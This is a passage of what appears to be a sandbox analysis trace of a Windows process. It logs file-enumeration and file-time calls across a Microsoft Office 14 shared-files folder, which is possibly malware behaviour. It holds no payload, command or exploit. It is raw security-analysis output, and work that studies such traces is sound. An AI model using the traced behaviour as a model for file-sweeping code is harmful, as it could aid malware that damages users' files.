lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb401ca00, ftCreationTime.dwHighDateTime=0x1cbdec9, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb401ca00, ftLastWriteTime.dwHighDateTime=0x1cbdec9, nFileSizeHigh=0x0, nFileSizeLow=0x19b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="xlsrvintl.dll", cAlternateFileName="")) returned 1 [0052.026] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb401ca00, ftCreationTime.dwHighDateTime=0x1cbdec9, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb401ca00, ftLastWriteTime.dwHighDateTime=0x1cbdec9, nFileSizeHigh=0x0, nFileSizeLow=0x19b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="xlsrvintl.dll", cAlternateFileName="")) returned 0 [0052.026] GetLastError () returned 0x12 [0052.026] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0052.026] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0052.026] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf96bb8) returned 1 [0052.027] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0052.027] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x703dbc00, ftCreationTime.dwHighDateTime=0x1cbdfc0, ftLastAccessTime.dwLowDateTime=0xd80a4ee0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x703dbc00, ftLastWriteTime.dwHighDateTime=0x1cbdfc0, nFileSizeHigh=0x0, nFileSizeLow=0x310788, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACECORE.DLL", cAlternateFileName="")) returned 1 [0052.027] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd80f11a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xb5db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEDAO.DLL", cAlternateFileName="")) returned 1 [0052.027] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81925f00, ftCreationTime.dwHighDateTime=0x1caca23, ftLastAccessTime.dwLowDateTime=0x51128590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81925f00, ftLastWriteTime.dwHighDateTime=0x1caca23, nFileSizeHigh=0x0, nFileSizeLow=0xa990, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEERR.DLL", cAlternateFileName="")) returned 1 [0052.027] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd8117300, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xf73a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEES.DLL", cAlternateFileName="")) returned 1 [0052.027] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd8117300, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x6bfa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEEXCH.DLL", cAlternateFileName="")) returned 1 [0052.027] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd813d460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xdbb98, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEEXCL.DLL", cAlternateFileName="")) returned 1 [0052.027] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95c9c200, ftCreationTime.dwHighDateTime=0x1cba070, ftLastAccessTime.dwLowDateTime=0xd813d460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x95c9c200, ftLastWriteTime.dwHighDateTime=0x1cba070, nFileSizeHigh=0x0, nFileSizeLow=0x53bb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODBC.DLL", cAlternateFileName="")) returned 1 [0052.027] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0x51128590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x3db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODDBS.DLL", cAlternateFileName="")) returned 1 [0052.027] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0x5e99f630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x3db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODEXL.DLL", cAlternateFileName="")) returned 1 [0052.027] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0x5e99f630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x3db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODTXT.DLL", cAlternateFileName="")) returned 1 [0052.027] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd8189720, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x833a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEOLEDB.DLL", cAlternateFileName="")) returned 1 [0052.027] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96faef00, ftCreationTime.dwHighDateTime=0x1cba070, ftLastAccessTime.dwLowDateTime=0xd8247e00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x96faef00, ftLastWriteTime.dwHighDateTime=0x1cba070, nFileSizeHigh=0x0, nFileSizeLow=0x6e398, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACER3X.DLL", cAlternateFileName="")) returned 1 [0052.027] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95c9c200, ftCreationTime.dwHighDateTime=0x1cba070, ftLastAccessTime.dwLowDateTime=0xd826df60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x95c9c200, ftLastWriteTime.dwHighDateTime=0x1cba070, nFileSizeHigh=0x0, nFileSizeLow=0xd9c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACERCLR.DLL", cAlternateFileName="")) returned 1 [0052.027] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35d59d00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd826df60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x35d59d00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xa8da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEREP.DLL", cAlternateFileName="")) returned 1 [0052.027] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35d59d00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd82940c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x35d59d00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x48990, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACETXT.DLL", cAlternateFileName="")) returned 1 [0052.027] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1092c00, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xd82ba220, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1092c00, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0x2e8da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEWDAT.DLL", cAlternateFileName="")) returned 1 [0052.027] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e0c9f00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xcf0c7d40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8e0c9f00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x4dba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEWSS.DLL", cAlternateFileName="")) returned 1 [0052.027] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35d59d00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd82e0380, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x35d59d00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x7a998, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEXBE.DLL", cAlternateFileName="")) returned 1 [0052.027] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67c38700, ftCreationTime.dwHighDateTime=0x1cbc9fc, ftLastAccessTime.dwLowDateTime=0xe5d21520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x67c38700, ftLastWriteTime.dwHighDateTime=0x1cbc9fc, nFileSizeHigh=0x0, nFileSizeLow=0x5e158, dwReserved0=0x0, dwReserved1=0x0, cFileName="ATLCONV.DLL", cAlternateFileName="")) returned 1 [0052.027] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb10f7500, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0xda5b0540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb10f7500, ftLastWriteTime.dwHighDateTime=0x1cbe56c, nFileSizeHigh=0x0, nFileSizeLow=0x4d67b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Csi.dll", cAlternateFileName="")) returned 1 [0052.027] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef87d800, ftCreationTime.dwHighDateTime=0x1cb8cce, ftLastAccessTime.dwLowDateTime=0xda5d66a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xef87d800, ftLastWriteTime.dwHighDateTime=0x1cb8cce, nFileSizeHigh=0x0, nFileSizeLow=0x1b3980, dwReserved0=0x0, dwReserved1=0x0, cFileName="CsiSoap.dll", cAlternateFileName="")) returned 1 [0052.027] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xceefecc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xceefecc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xceefecc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cultures", cAlternateFileName="")) returned 1 [0052.027] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf96bb8 [0052.027] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xceefecc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xceefecc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xceefecc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0052.028] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0052.028] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0052.028] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf9dfa8 [0052.028] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf9dfa8, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xf9dfa8, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0052.028] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dfa8) returned 1 [0052.028] NtClose (Handle=0x190) returned 0x0 [0052.028] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf96bb8) returned 1 [0052.028] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0052.028] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0052.028] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf96bb8 [0052.028] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0052.028] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf970e0 [0052.028] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d220 [0052.028] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xceefecc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xceefecc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xceefecc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.028] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cbc7d00, ftCreationTime.dwHighDateTime=0x1cbe3e3, ftLastAccessTime.dwLowDateTime=0xcef24e20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7cbc7d00, ftLastWriteTime.dwHighDateTime=0x1cbe3e3, nFileSizeHigh=0x0, nFileSizeLow=0x419360, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE.ODF", cAlternateFileName="")) returned 1 [0052.028] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0052.028] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0052.029] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0052.029] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0052.029] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0052.029] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf971e8 [0052.029] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0052.029] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf95bc0 [0052.029] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf972f0 [0052.029] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0052.029] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cbc7d00, ftCreationTime.dwHighDateTime=0x1cbe3e3, ftLastAccessTime.dwLowDateTime=0xcef24e20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7cbc7d00, ftLastWriteTime.dwHighDateTime=0x1cbe3e3, nFileSizeHigh=0x0, nFileSizeLow=0x419360, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE.ODF", cAlternateFileName="")) returned 0 [0052.029] GetLastError () returned 0x12 [0052.029] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d1e0 [0052.029] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0052.029] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xceefecc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xceefecc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xceefecc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.029] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cbc7d00, ftCreationTime.dwHighDateTime=0x1cbe3e3, ftLastAccessTime.dwLowDateTime=0xcef24e20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7cbc7d00, ftLastWriteTime.dwHighDateTime=0x1cbe3e3, nFileSizeHigh=0x0, nFileSizeLow=0x419360, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE.ODF", cAlternateFileName="")) returned 1 [0052.029] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cbc7d00, ftCreationTime.dwHighDateTime=0x1cbe3e3, ftLastAccessTime.dwLowDateTime=0xcef24e20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7cbc7d00, ftLastWriteTime.dwHighDateTime=0x1cbe3e3, nFileSizeHigh=0x0, nFileSizeLow=0x419360, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE.ODF", cAlternateFileName="")) returned 0 [0052.029] GetLastError () returned 0x12 [0052.029] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf970e0) returned 1 [0052.029] FindClose (in: hFindFile=0x60d1e0 | out: hFindFile=0x60d1e0) returned 1 [0052.029] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf971e8) returned 1 [0052.029] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf96bb8) returned 1 [0052.029] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x520efa00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xd83064e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x520efa00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x7eb48, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPSRV.DLL", cAlternateFileName="")) returned 1 [0052.029] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ebd7300, ftCreationTime.dwHighDateTime=0x1cba5c3, ftLastAccessTime.dwLowDateTime=0xcef710e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3ebd7300, ftLastWriteTime.dwHighDateTime=0x1cba5c3, nFileSizeHigh=0x0, nFileSizeLow=0x21d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXP_PDF.DLL", cAlternateFileName="")) returned 1 [0052.029] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5bf6900, ftCreationTime.dwHighDateTime=0x1cba06e, ftLastAccessTime.dwLowDateTime=0xcf5b0aa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf5bf6900, ftLastWriteTime.dwHighDateTime=0x1cba06e, nFileSizeHigh=0x0, nFileSizeLow=0x11578, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXP_XPS.DLL", cAlternateFileName="")) returned 1 [0052.029] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd66e7600, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xe572de20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd66e7600, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x26560, dwReserved0=0x0, dwReserved1=0x0, cFileName="FLTLDR.EXE", cAlternateFileName="")) returned 1 [0052.029] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7bf3f00, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x53907610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7bf3f00, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x417360, dwReserved0=0x0, dwReserved1=0x0, cFileName="IACOM2.DLL", cAlternateFileName="")) returned 1 [0052.029] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe164800, ftCreationTime.dwHighDateTime=0x1cac048, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe164800, ftLastWriteTime.dwHighDateTime=0x1cac048, nFileSizeHigh=0x0, nFileSizeLow=0x31d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="LICLUA.EXE", cAlternateFileName="")) returned 1 [0052.029] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc821f600, ftCreationTime.dwHighDateTime=0x1cbdfb3, ftLastAccessTime.dwLowDateTime=0xd776b9a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc821f600, ftLastWriteTime.dwHighDateTime=0x1cbdfb3, nFileSizeHigh=0x0, nFileSizeLow=0x183d780, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSO.DLL", cAlternateFileName="")) returned 1 [0052.030] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee94c400, ftCreationTime.dwHighDateTime=0x1cb7007, ftLastAccessTime.dwLowDateTime=0xd6225500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xee94c400, ftLastWriteTime.dwHighDateTime=0x1cb7007, nFileSizeHigh=0x0, nFileSizeLow=0x73b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOICONS.EXE", cAlternateFileName="")) returned 1 [0052.030] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5e15000, ftCreationTime.dwHighDateTime=0x1cbf3e5, ftLastAccessTime.dwLowDateTime=0xec32f3e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe5e15000, 